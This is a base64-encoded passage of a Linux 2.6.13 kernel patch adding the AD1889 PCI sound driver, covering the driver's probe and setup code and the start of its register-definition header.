MCk7DQorDQorCS8qIGVuYWJsZSBNYXN0ZXIgYW5kIFRhcmdldCBhYm9ydCBpbnRlcnJ1cHRzICov
DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0RJU1IsIEFEX0RNQV9ESVNSX1BNQUUgfCBB
RF9ETUFfRElTUl9QVEFFKTsNCisNCisJcmV0dXJuIDA7DQorfQ0KKw0KK3N0YXRpYyBpbnQgX19k
ZXZpbml0DQorc25kX2FkMTg4OV9jcmVhdGUoc25kX2NhcmRfdCAqY2FyZCwNCisJCSAgc3RydWN0
IHBjaV9kZXYgKnBjaSwNCisJCSAgc3RydWN0IHNuZF9hZDE4ODkgKipyY2hpcCkNCit7DQorCWlu
dCBlcnI7DQorDQorCXN0cnVjdCBzbmRfYWQxODg5ICpjaGlwOw0KKwlzdGF0aWMgc25kX2Rldmlj
ZV9vcHNfdCBvcHMgPSB7DQorCQkuZGV2X2ZyZWUgPSBzbmRfYWQxODg5X2Rldl9mcmVlLA0KKwl9
Ow0KKw0KKwkqcmNoaXAgPSBOVUxMOw0KKw0KKwlpZiAoKGVyciA9IHBjaV9lbmFibGVfZGV2aWNl
KHBjaSkpIDwgMCkNCisJCXJldHVybiBlcnI7DQorCQ0KKwkvKiBjaGVjayBQQ0kgYXZhaWxhYmls
aXR5ICgzMmJpdCBETUEpICovDQorCWlmIChwY2lfc2V0X2RtYV9tYXNrKHBjaSwgMHhmZmZmZmZm
ZikgPCAwIHx8DQorCSAgICBwY2lfc2V0X2NvbnNpc3RlbnRfZG1hX21hc2socGNpLCAweGZmZmZm
ZmZmKSA8IDApIHsNCisJCXByaW50ayhLRVJOX0VSUiBQRlggImVycm9yIHNldHRpbmcgMzItYml0
IERNQSBtYXNrLlxuIik7DQorCQlwY2lfZGlzYWJsZV9kZXZpY2UocGNpKTsNCisJCXJldHVybiAt
RU5YSU87DQorCX0NCisNCisJLyogYWxsb2NhdGUgY2hpcCBzcGVjaWZpYyBkYXRhIHdpdGggemVy
by1maWxsZWQgbWVtb3J5ICovDQorCWlmICgoY2hpcCA9IGtjYWxsb2MoMSwgc2l6ZW9mKCpjaGlw
KSwgR0ZQX0tFUk5FTCkpID09IE5VTEwpIHsNCisJCXBjaV9kaXNhYmxlX2RldmljZShwY2kpOw0K
KwkJcmV0dXJuIC1FTk9NRU07DQorCX0NCisNCisJY2hpcC0+Y2FyZCA9IGNhcmQ7DQorCWNhcmQt
PnByaXZhdGVfZGF0YSA9IGNoaXA7DQorCWNoaXAtPnBjaSA9IHBjaTsNCisJY2hpcC0+aXJxID0g
LTE7DQorDQorCS8qICgxKSBQQ0kgcmVzb3VyY2UgYWxsb2NhdGlvbiAqLw0KKwlpZiAoKGVyciA9
IHBjaV9yZXF1ZXN0X3JlZ2lvbnMocGNpLCBjYXJkLT5kcml2ZXIpKSA8IDApDQorCQlnb3RvIGZy
ZWVfYW5kX3JldDsNCisNCisJY2hpcC0+YmFyID0gcGNpX3Jlc291cmNlX3N0YXJ0KHBjaSwgMCk7
DQorCWNoaXAtPmlvYmFzZSA9IGlvcmVtYXBfbm9jYWNoZShjaGlwLT5iYXIsIHBjaV9yZXNvdXJj
ZV9sZW4ocGNpLCAwKSk7DQorCWlmIChjaGlwLT5pb2Jhc2UgPT0gTlVMTCkgew0KKwkJcHJpbnRr
KEtFUk5fRVJSIFBGWCAidW5hYmxlIHRvIHJlc2VydmUgcmVnaW9uLlxuIik7DQorCQllcnIgPSAt
RUJVU1k7DQorCQlnb3RvIGZyZWVfYW5kX3JldDsNCisJfQ0KKwkNCisJcGNpX3NldF9tYXN0ZXIo
cGNpKTsNCisNCisJc3Bpbl9sb2NrX2luaXQoJmNoaXAtPmxvY2spOwkvKiBvbmx5IG5vdyBjYW4g
d2UgY2FsbCBhZDE4ODlfZnJlZSAqLw0KKw0KKwlpZiAocmVxdWVzdF9pcnEocGNpLT5pcnEsIHNu
ZF9hZDE4ODlfaW50ZXJydXB0LA0KKwkJCVNBX0lOVEVSUlVQVHxTQV9TSElSUSwgY2FyZC0+ZHJp
dmVyLCAodm9pZCopY2hpcCkpIHsNCisJCXByaW50ayhLRVJOX0VSUiBQRlggImNhbm5vdCBvYnRh
aW4gSVJRICVkXG4iLCBwY2ktPmlycSk7DQorCQlzbmRfYWQxODg5X2ZyZWUoY2hpcCk7DQorCQly
ZXR1cm4gLUVCVVNZOw0KKwl9DQorDQorCWNoaXAtPmlycSA9IHBjaS0+aXJxOw0KKwlzeW5jaHJv
bml6ZV9pcnEoY2hpcC0+aXJxKTsNCisNCisJLyogKDIpIGluaXRpYWxpemF0aW9uIG9mIHRoZSBj
aGlwIGhhcmR3YXJlICovDQorCWlmICgoZXJyID0gc25kX2FkMTg4OV9pbml0KGNoaXApKSA8IDAp
IHsNCisJCXNuZF9hZDE4ODlfZnJlZShjaGlwKTsNCisJCXJldHVybiBlcnI7DQorCX0NCisNCisJ
aWYgKChlcnIgPSBzbmRfZGV2aWNlX25ldyhjYXJkLCBTTkRSVl9ERVZfTE9XTEVWRUwsIGNoaXAs
ICZvcHMpKSA8IDApIHsNCisJCXNuZF9hZDE4ODlfZnJlZShjaGlwKTsNCisJCXJldHVybiBlcnI7
DQorCX0NCisNCisJc25kX2NhcmRfc2V0X2RldihjYXJkLCAmcGNpLT5kZXYpOw0KKw0KKwkqcmNo
aXAgPSBjaGlwOw0KKw0KKwlyZXR1cm4gMDsNCisNCitmcmVlX2FuZF9yZXQ6DQorCWlmIChjaGlw
KQ0KKwkJa2ZyZWUoY2hpcCk7DQorCXBjaV9kaXNhYmxlX2RldmljZShwY2kpOw0KKw0KKwlyZXR1
cm4gZXJyOw0KK30NCisNCitzdGF0aWMgaW50IF9fZGV2aW5pdA0KK3NuZF9hZDE4ODlfcHJvYmUo
c3RydWN0IHBjaV9kZXYgKnBjaSwNCisJCSBjb25zdCBzdHJ1Y3QgcGNpX2RldmljZV9pZCAqcGNp
X2lkKQ0KK3sNCisJaW50IGVycjsNCisJc3RhdGljIGludCBkZXZubzsNCisJc25kX2NhcmRfdCAq
Y2FyZDsNCisJc3RydWN0IHNuZF9hZDE4ODkgKmNoaXA7DQorDQorCS8qICgxKSAqLw0KKwlpZiAo
ZGV2bm8gPj0gU05EUlZfQ0FSRFMpDQorCQlyZXR1cm4gLUVOT0RFVjsNCisJaWYgKCFlbmFibGVb
ZGV2bm9dKSB7DQorCQlkZXZubysrOw0KKwkJcmV0dXJuIC1FTk9FTlQ7DQorCX0NCisNCisJLyog
KDIpICovDQorCWNhcmQgPSBzbmRfY2FyZF9uZXcoaW5kZXhbZGV2bm9dLCBpZFtkZXZub10sIFRI
SVNfTU9EVUxFLCAwKTsNCisJLyogWFhYIFJFVklTSVQ6IHdlIGNhbiBwcm9iYWJseSBhbGxvY2F0
ZSBjaGlwIGluIHRoaXMgY2FsbCAqLw0KKwlpZiAoY2FyZCA9PSBOVUxMKQ0KKwkJcmV0dXJuIC1F
Tk9NRU07DQorDQorCXN0cmNweShjYXJkLT5kcml2ZXIsICJBRDE4ODkiKTsNCisJc3RyY3B5KGNh
cmQtPnNob3J0bmFtZSwgIkFuYWxvZyBEZXZpY2VzIEFEMTg4OSIpOw0KKw0KKwkvKiAoMykgKi8N
CisJZXJyID0gc25kX2FkMTg4OV9jcmVhdGUoY2FyZCwgcGNpLCAmY2hpcCk7DQorCWlmIChlcnIg
PCAwKQ0KKwkJZ290byBmcmVlX2FuZF9yZXQ7DQorDQorCS8qICg0KSAqLw0KKwlzcHJpbnRmKGNh
cmQtPmxvbmduYW1lLCAiJXMgYXQgMHglbHggaXJxICVpIiwNCisJCWNhcmQtPnNob3J0bmFtZSwg
Y2hpcC0+YmFyLCBjaGlwLT5pcnEpOw0KKw0KKwkvKiAoNSkgKi8NCisJLyogcmVnaXN0ZXIgQUM5
NyBtaXhlciAqLw0KKwllcnIgPSBzbmRfYWQxODg5X2FjOTdfaW5pdChjaGlwLCBhYzk3X3F1aXJr
W2Rldm5vXSk7DQorCWlmIChlcnIgPCAwKQ0KKwkJZ290byBmcmVlX2FuZF9yZXQ7DQorCQ0KKwll
cnIgPSBzbmRfYWQxODg5X3BjbV9pbml0KGNoaXAsIDAsIE5VTEwpOw0KKwlpZiAoZXJyIDwgMCkN
CisJCWdvdG8gZnJlZV9hbmRfcmV0Ow0KKw0KKwkvKiByZWdpc3RlciBwcm9jIGludGVyZmFjZSAq
Lw0KKwlzbmRfYWQxODg5X3Byb2NfaW5pdChjaGlwKTsNCisNCisJLyogKDYpICovDQorCWVyciA9
IHNuZF9jYXJkX3JlZ2lzdGVyKGNhcmQpOw0KKwlpZiAoZXJyIDwgMCkNCisJCWdvdG8gZnJlZV9h
bmRfcmV0Ow0KKw0KKwkvKiAoNykgKi8NCisJcGNpX3NldF9kcnZkYXRhKHBjaSwgY2FyZCk7DQor
DQorCWRldm5vKys7DQorCXJldHVybiAwOw0KKw0KK2ZyZWVfYW5kX3JldDoNCisJc25kX2NhcmRf
ZnJlZShjYXJkKTsNCisJcmV0dXJuIGVycjsNCit9DQorDQorc3RhdGljIHZvaWQgX19kZXZleGl0
DQorc25kX2FkMTg4OV9yZW1vdmUoc3RydWN0IHBjaV9kZXYgKnBjaSkNCit7DQorCXNuZF9jYXJk
X2ZyZWUocGNpX2dldF9kcnZkYXRhKHBjaSkpOw0KKwlwY2lfc2V0X2RydmRhdGEocGNpLCBOVUxM
KTsNCit9DQorDQorc3RhdGljIHN0cnVjdCBwY2lfZGV2aWNlX2lkIHNuZF9hZDE4ODlfaWRzW10g
PSB7DQorCXsgUENJX0RFVklDRShQQ0lfVkVORE9SX0lEX0FOQUxPR19ERVZJQ0VTLCBQQ0lfREVW
SUNFX0lEX0FEMTg4OUpTKSB9LA0KKwl7IDAsIH0sDQorfTsNCitNT0RVTEVfREVWSUNFX1RBQkxF
KHBjaSwgc25kX2FkMTg4OV9pZHMpOw0KKw0KK3N0YXRpYyBzdHJ1Y3QgcGNpX2RyaXZlciBhZDE4
ODlfcGNpID0gew0KKwkubmFtZSA9ICJBRDE4ODkgQXVkaW8iLA0KKwkuaWRfdGFibGUgPSBzbmRf
YWQxODg5X2lkcywNCisJLnByb2JlID0gc25kX2FkMTg4OV9wcm9iZSwNCisJLnJlbW92ZSA9IF9f
ZGV2ZXhpdF9wKHNuZF9hZDE4ODlfcmVtb3ZlKSwNCit9Ow0KKw0KK3N0YXRpYyBpbnQgX19pbml0
DQorYWxzYV9hZDE4ODlfaW5pdCh2b2lkKQ0KK3sNCisJcmV0dXJuIHBjaV9yZWdpc3Rlcl9kcml2
ZXIoJmFkMTg4OV9wY2kpOw0KK30NCisNCitzdGF0aWMgdm9pZCBfX2V4aXQNCithbHNhX2FkMTg4
OV9maW5pKHZvaWQpDQorew0KKwlwY2lfdW5yZWdpc3Rlcl9kcml2ZXIoJmFkMTg4OV9wY2kpOw0K
K30NCisNCittb2R1bGVfaW5pdChhbHNhX2FkMTg4OV9pbml0KTsNCittb2R1bGVfZXhpdChhbHNh
X2FkMTg4OV9maW5pKTsNCmRpZmYgLU5ydSBsaW51eC0yLjYuMTMtcmM0Lm9yaWcvc291bmQvcGNp
L2FkMTg4OS5oIGxpbnV4LTIuNi4xMy1yYzQvc291bmQvcGNpL2FkMTg4OS5oDQotLS0gbGludXgt
Mi42LjEzLXJjNC5vcmlnL3NvdW5kL3BjaS9hZDE4ODkuaAkxOTcwLTAxLTAxIDAxOjAwOjAwLjAw
MDAwMDAwMCArMDEwMA0KKysrIGxpbnV4LTIuNi4xMy1yYzQvc291bmQvcGNpL2FkMTg4OS5oCTIw
MDUtMDYtMjUgMjM6MTU6MjkuMDAwMDAwMDAwICswMjAwDQpAQCAtMCwwICsxLDE4NyBAQA0KKy8q
IEFuYWxvZyBEZXZpY2VzIDE4ODkgYXVkaW8gZHJpdmVyDQorICogQ29weXJpZ2h0IChDKSAyMDA0
LCBLeWxlIE1jTWFydGluIDxreWxlQHBhcmlzYy1saW51eC5vcmc+DQorICovDQorDQorI2lmbmRl
ZiBfX0FEMTg4OV9IX18NCisjZGVmaW5lIF9fQUQxODg5X0hfXw0KKw0KKyNkZWZpbmUgQURfRFNf
V1NNQwkweDAwIC8qIHdhdmUvc3ludGhlc2lzIGNoYW5uZWwgbWl4ZXIgY29udHJvbCAqLw0KKyNk
ZWZpbmUgIEFEX0RTX1dTTUNfU1lFTiAweDAwMDQgLyogc3ludGhlc2lzIGNoYW5uZWwgZW5hYmxl
ICovDQorI2RlZmluZSAgQURfRFNfV1NNQ19TWVJRIDB4MDAzMCAvKiBzeW50aC4gZmlmbyByZXF1
ZXN0IHBvaW50ICovDQorI2RlZmluZSAgQURfRFNfV1NNQ19XQTE2IDB4MDEwMCAvKiB3YXZlIGNo
YW5uZWwgMTZiaXQgc2VsZWN0ICovDQorI2RlZmluZSAgQURfRFNfV1NNQ19XQVNUIDB4MDIwMCAv
KiB3YXZlIGNoYW5uZWwgc3RlcmVvIHNlbGVjdCAqLw0KKyNkZWZpbmUgIEFEX0RTX1dTTUNfV0FF
TiAweDA0MDAgLyogd2F2ZSBjaGFubmVsIGVuYWJsZSAqLw0KKyNkZWZpbmUgIEFEX0RTX1dTTUNf
V0FSUSAweDMwMDAgLyogd2F2ZSBmaWZvIHJlcXVlc3QgcG9pbnQgKi8NCisNCisjZGVmaW5lIEFE
X0RTX1JBTUMJMHgwMiAvKiByZXNhbXBsZXIvQURDIGNoYW5uZWwgbWl4ZXIgY29udHJvbCAqLw0K
KyNkZWZpbmUgIEFEX0RTX1JBTUNfQUQxNiAweDAwMDEgLyogQURDIGNoYW5uZWwgMTZiaXQgc2Vs
ZWN0ICovDQorI2RlZmluZSAgQURfRFNfUkFNQ19BRFNUIDB4MDAwMiAvKiBBREMgY2hhbm5lbCBz
dGVyZW8gc2VsZWN0ICovDQorI2RlZmluZSAgQURfRFNfUkFNQ19BREVOIDB4MDAwNCAvKiBBREMg
Y2hhbm5lbCBlbmFibGUgKi8NCisjZGVmaW5lICBBRF9EU19SQU1DX0FDUlEgMHgwMDMwIC8qIEFE
QyBmaWZvIHJlcXVlc3QgcG9pbnQgKi8NCisjZGVmaW5lICBBRF9EU19SQU1DX1JFRU4gMHgwNDAw
IC8qIHJlc2FtcGxlciBjaGFubmVsIGVuYWJsZSAqLw0KKyNkZWZpbmUgIEFEX0RTX1JBTUNfUkVS
USAweDMwMDAgLyogcmVzLiBmaWZvIHJlcXVlc3QgcG9pbnQgKi8NCisNCisjZGVmaW5lIEFEX0RT
X1dBREEJMHgwNCAvKiB3YXZlIGNoYW5uZWwgbWl4IGF0dGVudWF0aW9uICovDQorI2RlZmluZSAg
QURfRFNfV0FEQV9SV0FNIDB4MDA4MCAvKiByaWdodCB3YXZlIG11dGUgKi8NCisjZGVmaW5lICBB
RF9EU19XQURBX1JXQUEgMHgwMDFmIC8qIHJpZ2h0IHdhdmUgYXR0ZW51YXRpb24gKi8NCisjZGVm
aW5lICBBRF9EU19XQURBX0xXQU0gMHg4MDAwIC8qIGxlZnQgd2F2ZSBtdXRlICovDQorI2RlZmlu
ZSAgQURfRFNfV0FEQV9MV0FBIDB4M2UwMCAvKiBsZWZ0IHdhdmUgYXR0ZW51YXRpb24gKi8NCisN
CisjZGVmaW5lIEFEX0RTX1NZREEJMHgwNiAvKiBzeW50aGVzaXMgY2hhbm5lbCBtaXggYXR0ZW51
YXRpb24gKi8NCisjZGVmaW5lICBBRF9EU19TWURBX1JTWU0gMHgwMDgwIC8qIHJpZ2h0IHN5bnRo
ZXNpcyBtdXRlICovDQorI2RlZmluZSAgQURfRFNfU1lEQV9SU1lBIDB4MDAxZiAvKiByaWdodCBz
eW50aGVzaXMgYXR0ZW51YXRpb24gKi8NCisjZGVmaW5lICBBRF9EU19TWURBX0xTWU0gMHg4MDAw
IC8qIGxlZnQgc3ludGhlc2lzIG11dGUgKi8NCisjZGVmaW5lICBBRF9EU19TWURBX0xTWUEgMHgz
ZTAwIC8qIGxlZnQgc3ludGhlc2lzIGF0dGVudWF0aW9uICovDQorDQorI2RlZmluZSBBRF9EU19X
QVMJMHgwOCAvKiB3YXZlIGNoYW5uZWwgc2FtcGxlIHJhdGUgKi8NCisjZGVmaW5lICBBRF9EU19X
QVNfV0FTICAgMHhmZmZmIC8qIHNhbXBsZSByYXRlIG1hc2sgKi8NCisNCisjZGVmaW5lIEFEX0RT
X1JFUwkweDBhIC8qIHJlc2FtcGxlciBjaGFubmVsIHNhbXBsZSByYXRlICovDQorI2RlZmluZSAg
QURfRFNfUkVTX1JFUyAgIDB4ZmZmZiAvKiBzYW1wbGUgcmF0ZSBtYXNrICovDQorDQorI2RlZmlu
ZSBBRF9EU19DQ1MJMHgwYyAvKiBjaGlwIGNvbnRyb2wvc3RhdHVzICovDQorI2RlZmluZSAgQURf
RFNfQ0NTX0FETyAgIDB4MDAwMSAvKiBBREMgY2hhbm5lbCBvdmVyZmxvdyAqLw0KKyNkZWZpbmUg
IEFEX0RTX0NDU19SRU8gICAweDAwMDIgLyogcmVzYW1wbGVyIGNoYW5uZWwgb3ZlcmZsb3cgKi8N
CisjZGVmaW5lICBBRF9EU19DQ1NfU1lVICAgMHgwMDA0IC8qIHN5bnRoZXNpcyBjaGFubmVsIHVu
ZGVyZmxvdyAqLw0KKyNkZWZpbmUgIEFEX0RTX0NDU19XQVUgICAweDAwMDggLyogd2F2ZSBjaGFu
bmVsIHVuZGVyZmxvdyAqLw0KKy8qIGJpdHMgNCAtPiA3LCA5LCAxMSAtPiAxNCByZXNlcnZlZCAq
Lw0KKyNkZWZpbmUgIEFEX0RTX0NDU19YVEQgICAweDAxMDAgLyogeHRkIGRlbGF5IGNvbnRyb2wg
KDQwOTYgY2xvY2sgY3ljbGVzKSAqLw0KKyNkZWZpbmUgIEFEX0RTX0NDU19QREFMTCAweDA0MDAg
LyogcG93ZXIgKi8NCisjZGVmaW5lICBBRF9EU19DQ1NfQ0xLRU4gMHg4MDAwIC8qIGNsb2NrICov
DQorDQorI2RlZmluZSBBRF9ETUFfUkVTQkEJMHg0MCAvKiBSRVMgYmFzZSBhZGRyZXNzICovDQor
I2RlZmluZSBBRF9ETUFfUkVTQ0EJMHg0NCAvKiBSRVMgY3VycmVudCBhZGRyZXNzICovDQorI2Rl
ZmluZSBBRF9ETUFfUkVTQkMJMHg0OCAvKiBSRVMgYmFzZSBjb3VudCAqLw0KKyNkZWZpbmUgQURf
RE1BX1JFU0NDCTB4NGMgLyogUkVTIGN1cnJlbnQgY291bnQgKi8NCisNCisjZGVmaW5lIEFEX0RN
QV9BRENCQQkweDUwIC8qIEFEQyBiYXNlIGFkZHJlc3MgKi8NCisjZGVmaW5lIEFEX0RNQV9BREND
QQkweDU0IC8qIEFEQyBjdXJyZW50IGFkZHJlc3MgKi8NCisjZGVmaW5lIEFEX0RNQV9BRENCQwkw
eDU4IC8qIEFEQyBiYXNlIGNvdW50ICovDQorI2RlZmluZSBBRF9ETUFfQURDQ0MJMHg1YyAvKiBB
REMgY3VycmVudCBjb3VudCAqLw0KKw0KKyNkZWZpbmUgQURfRE1BX1NZTkJBCTB4NjAgLyogc3lu
dGggYmFzZSBhZGRyZXNzICovDQorI2RlZmluZSBBRF9ETUFfU1lOQ0EJMHg2NCAvKiBzeW50aCBj
dXJyZW50IGFkZHJlc3MgKi8NCisjZGVmaW5lIEFEX0RNQV9TWU5CQwkweDY4IC8qIHN5bnRoIGJh
c2UgY291bnQgKi8NCisjZGVmaW5lIEFEX0RNQV9TWU5DQwkweDZjIC8qIHN5bnRoIGN1cnJlbnQg
Y291bnQgKi8NCisNCisjZGVmaW5lIEFEX0RNQV9XQVZCQQkweDcwIC8qIHdhdmUgYmFzZSBhZGRy
ZXNzICovDQorI2RlZmluZSBBRF9ETUFfV0FWQ0EJMHg3NCAvKiB3YXZlIGN1cnJlbnQgYWRkcmVz
cyAqLw0KKyNkZWZpbmUgQURfRE1BX1dBVkJDCTB4NzggLyogd2F2ZSBiYXNlIGNvdW50ICovDQor
I2RlZmluZSBBRF9ETUFfV0FWQ0MJMHg3YyAvKiB3YXZlIGN1cnJlbnQgY291bnQgKi8NCisNCisj
ZGVmaW5lIEFEX0RNQV9SRVNJQwkweDgwIC8qIFJFUyBkbWEgaW50ZXJydXB0IGN1cnJlbnQgYnl0
ZSBjb3VudCAqLw0KKyNkZWZpbmUgQURfRE1BX1JFU0lCCTB4ODQgLyogUkVTIGRtYSBpbnRlcnJ1
cHQgYmFzZSBieXRlIGNvdW50ICovDQorDQorI2RlZmluZSBBRF9ETUFfQURDSUMJMHg4OCAvKiBB
REMgZG1hIGludGVycnVwdCBjdXJyZW50IGJ5dGUgY291bnQgKi8NCisjZGVmaW5lIEFEX0RNQV9B
RENJQgkweDhjIC8qIEFEQyBkbWEgaW50ZXJydXB0IGJhc2UgYnl0ZSBjb3VudCAqLw0KKw0KKyNk
ZWZpbmUgQURfRE1BX1NZTklDCTB4OTAgLyogc3ludGggZG1hIGludGVycnVwdCBjdXJyZW50IGJ5
dGUgY291bnQgKi8NCisjZGVmaW5lIEFEX0RNQV9TWU5JQgkweDk0IC8qIHN5bnRoIGRtYSBpbnRl
cnJ1cHQgYmFzZSBieXRlIGNvdW50ICovDQorDQorI2RlZmluZSBBRF9ETUFfV0FWSUMJMHg5OCAv
KiB3YXZlIGRtYSBpbnRlcnJ1cHQgY3VycmVudCBieXRlIGNvdW50ICovDQorI2RlZmluZSBBRF9E
TUFfV0FWSUIJMHg5YyAvKiB3YXZlIGRtYSBpbnRlcnJ1cHQgYmFzZSBieXRlIGNvdW50ICovDQor
DQorI2RlZmluZSAgQURfRE1BX0lDQwkweGZmZmZmZiAvKiBjdXJyZW50IGJ5dGUgY291bnQgbWFz
ayAqLw0KKyNkZWZpbmUgIEFEX0RNQV9JQkMJMHhmZmZmZmYgLyogYmFzZSBieXRlIGNvdW50IG1h
c2sgKi8NCisvKiBiaXRzIDI0IC0+IDMxIHJlc2VydmVkICovDQorDQorLyogNCBieXRlcyBwYWQg
Ki8NCisjZGVmaW5lIEFEX0RNQV9BREMJMHhhOAkvKiBBREMgICAgICBkbWEgY29udHJvbCBhbmQg
c3RhdHVzICovDQorI2RlZmluZSBBRF9ETUFfU1lOVEgJMHhiMAkvKiBTeW50aCAgICBkbWEgY29u
dHJvbCBhbmQgc3RhdHVzICovDQorI2RlZmluZSBBRF9ETUFfV0FWCTB4YjgJLyogd2F2ZSAgICAg
ZG1hIGNvbnRyb2wgYW5kIHN0YXR1cyAqLw0KKyNkZWZpbmUgQURfRE1BX1JFUwkweGEwCS8qIFJl
c2FtcGxlIGRtYSBjb250cm9sIGFuZCBzdGF0dXMgKi8NCisNCisjZGVmaW5lICBBRF9ETUFfU0dE
RQkweDAwMDEgLyogU0dEIG1vZGUgZW5hYmxlICovDQorI2RlZmluZSAgQURfRE1BX0xPT1AJMHgw
MDAyIC8qIGxvb3AgZW5hYmxlICovDQorI2RlZmluZSAgQURfRE1BX0lNCTB4MDAwYyAvKiBpbnRl
cnJ1cHQgbW9kZSBtYXNrICovDQorI2RlZmluZSAgQURfRE1BX0lNX0RJUwkofkFEX0RNQV9JTSkJ
LyogZGlzYWJsZSAqLw0KKyNkZWZpbmUgIEFEX0RNQV9JTV9DTlQJMHgwMDA0IC8qIGludGVycnVw
dCBvbiBjb3VudCAqLw0KKyNkZWZpbmUgIEFEX0RNQV9JTV9TR0QJMHgwMDA4IC8qIGludGVycnVw
dCBvbiBTR0QgZmxhZyAqLw0KKyNkZWZpbmUgIEFEX0RNQV9JTV9FT0wJMHgwMDBjIC8qIGludGVy
cnVwdCBvbiBFbmQgb2YgTGlua2VkIExpc3QgKi8NCisjZGVmaW5lICBBRF9ETUFfU0dEUwkweDAw
MzAgLyogU0dEIHN0YXR1cyAqLw0KKyNkZWZpbmUgIEFEX0RNQV9TRkxHCTB4MDA0MCAvKiBTR0Qg
ZmxhZyAqLw0KKyNkZWZpbmUgIEFEX0RNQV9FT0wJMHgwMDgwIC8qIFNHRCBlbmQgb2YgbGlzdCAq
Lw0KKy8qIGJpdHMgOCAtPiAxNSByZXNlcnZlZCAqLw0KKw0KKyNkZWZpbmUgQURfRE1BX0RJU1IJ
MHhjMCAvKiBkbWEgaW50ZXJydXB0IHN0YXR1cyAqLw0KKyNkZWZpbmUgIEFEX0RNQV9ESVNSX1JF
U0kgMHgwMDAwMDEgLyogcmVzYW1wbGVyIGNoYW5uZWwgaW50ZXJydXB0ICovDQorI2RlZmluZSAg
QURfRE1BX0RJU1JfQURDSSAweDAwMDAwMiAvKiBBREMgY2hhbm5lbCBpbnRlcnJ1cHQgKi8NCisj
ZGVmaW5lICBBRF9ETUFfRElTUl9TWU5JIDB4MDAwMDA0IC8qIHN5bnRoZXNpcyBjaGFubmVsIGlu
dGVycnVwdCAqLw0KKyNkZWZpbmUgIEFEX0RNQV9ESVNSX1dBVkkgMHgwMDAwMDggLyogd2F2ZSBj
aGFubmVsIGludGVycnVwdCAqLw0KKy8qIGJpdHMgNCwgNSByZXNlcnZlZCAqLw0KKyNkZWZpbmUg
IEFEX0RNQV9ESVNSX1NFUFMgMHgwMDAwNDAgLyogc2VyaWFsIGVlcHJvbSBzdGF0dXMgKi8NCisv
KiBiaXRzIDcgLT4gMTMgcmVzZXJ2ZWQgKi8NCisjZGVmaW5lICBBRF9ETUFfRElTUl9QTUFJIDB4
MDA0MDAwIC8qIHBjaSBtYXN0ZXIgYWJvcnQgaW50ZXJydXB0ICovDQorI2RlZmluZSAgQURfRE1B
X0RJU1JfUFRBSSAweDAwODAwMCAvKiBwY2kgdGFyZ2V0IGFib3J0IGludGVycnVwdCAqLw0KKyNk
ZWZpbmUgIEFEX0RNQV9ESVNSX1BUQUUgMHgwMTAwMDAgLyogcGNpIHRhcmdldCBhYm9ydCBpbnRl
cnJ1cHQgZW5hYmxlICovDQorI2RlZmluZSAgQURfRE1BX0RJU1JfUE1BRSAweDAyMDAwMCAvKiBw
Y2kgbWFzdGVyIGFib3J0IGludGVycnVwdCBlbmFibGUgKi8NCisvKiBiaXRzIDE5IC0+IDMxIHJl
c2VydmVkICovDQorDQorLyogaW50ZXJydXB0IG1hc2sgKi8NCisjZGVmaW5lICBBRF9JTlRSX01B
U0sgICAgIChBRF9ETUFfRElTUl9SRVNJfEFEX0RNQV9ESVNSX0FEQ0l8IFwNCisgICAgICAgICAg
ICAgICAgICAgICAgICAgICBBRF9ETUFfRElTUl9XQVZJfEFEX0RNQV9ESVNSX1NZTkl8IFwNCisg
ICAgICAgICAgICAgICAgICAgICAgICAgICBBRF9ETUFfRElTUl9QTUFJfEFEX0RNQV9ESVNSX1BU
QUkpDQorDQorI2RlZmluZSBBRF9ETUFfQ0hTUwkweGM0IC8qIGRtYSBjaGFubmVsIHN0b3Agc3Rh
dHVzICovDQorI2RlZmluZSAgQURfRE1BX0NIU1NfUkVTUyAweDAwMDAwMSAvKiByZXNhbXBsZXIg
Y2hhbm5lbCBzdG9wcGVkICovDQorI2RlZmluZSAgQURfRE1BX0NIU1NfQURDUyAweDAwMDAwMiAv
KiBBREMgY2hhbm5lbCBzdG9wcGVkICovDQorI2RlZmluZSAgQURfRE1BX0NIU1NfU1lOUyAweDAw
MDAwNCAvKiBzeW50aGVzaXMgY2hhbm5lbCBzdG9wcGVkICovDQorI2RlZmluZSAgQURfRE1BX0NI
U1NfV0FWUyAweDAwMDAwOCAvKiB3YXZlIGNoYW5uZWwgc3RvcHBlZCAqLw0KKw0KKyNkZWZpbmUg
QURfR1BJT19JUEMJMHhjOAkvKiBncGlvIHBvcnQgY29udHJvbCAqLw0KKyNkZWZpbmUgQURfR1BJ
T19PUAkweGNhCS8qIGdwaW8gb3V0cHV0IHBvcnQgc3RhdHVzICovDQorI2RlZmluZSBBRF9HUElP
X0lQCTB4Y2MJLyogZ3BpbyAgaW5wdXQgcG9ydCBzdGF0dXMgKi8NCisNCisjZGVmaW5lIEFEX0FD
OTdfQkFTRQkweDEwMAkvKiBhYzk3IGJhc2UgcmVnaXN0ZXIgKi8NCisNCisjZGVmaW5lIEFEX0FD
OTdfUkVTRVQgICAweDEwMCAgIC8qIHJlc2V0ICovDQorDQorI2RlZmluZSBBRF9BQzk3X1BXUl9D
VEwJMHgxMjYJLyogPT0gQUM5N19QT1dFUkRPV04gKi8NCisjZGVmaW5lICBBRF9BQzk3X1BXUl9B
REMgMHgwMDAxIC8qIEFEQyByZWFkeSBzdGF0dXMgKi8NCisjZGVmaW5lICBBRF9BQzk3X1BXUl9E
QUMgMHgwMDAyIC8qIERBQyByZWFkeSBzdGF0dXMgKi8NCisjZGVmaW5lICBBRF9BQzk3X1BXUl9Q
UjAgMHgwMTAwIC8qIFBSMCAoQURDKSBwb3dlcmRvd24gKi8NCisjZGVmaW5lICBBRF9BQzk3X1BX
Ul9QUjEgMHgwMjAwIC8qIFBSMSAoREFDKSBwb3dlcmRvd24gKi8NCisNCisjZGVmaW5lIEFEX01J
U0NfQ1RMICAgICAweDE3NiAvKiBtaXNjIGNvbnRyb2wgKi8NCisjZGVmaW5lICBBRF9NSVNDX0NU
TF9EQUNaICAgMHg4MDAwIC8qIHNldCBmb3IgemVybyBmaWxsLCB1bnNldCBmb3IgcmVwZWF0ICov
DQorI2RlZmluZSAgQURfTUlTQ19DVExfQVJTUiAgIDB4MDAwMSAvKiBzZXQgZm9yIFNSMSwgdW5z
ZXQgZm9yIFNSMCAqLw0KKyNkZWZpbmUgIEFEX01JU0NfQ1RMX0FMU1IgICAweDAxMDANCisjZGVm
aW5lICBBRF9NSVNDX0NUTF9ETFNSICAgMHgwNDAwDQorI2RlZmluZSAgQURfTUlTQ19DVExfRFJT
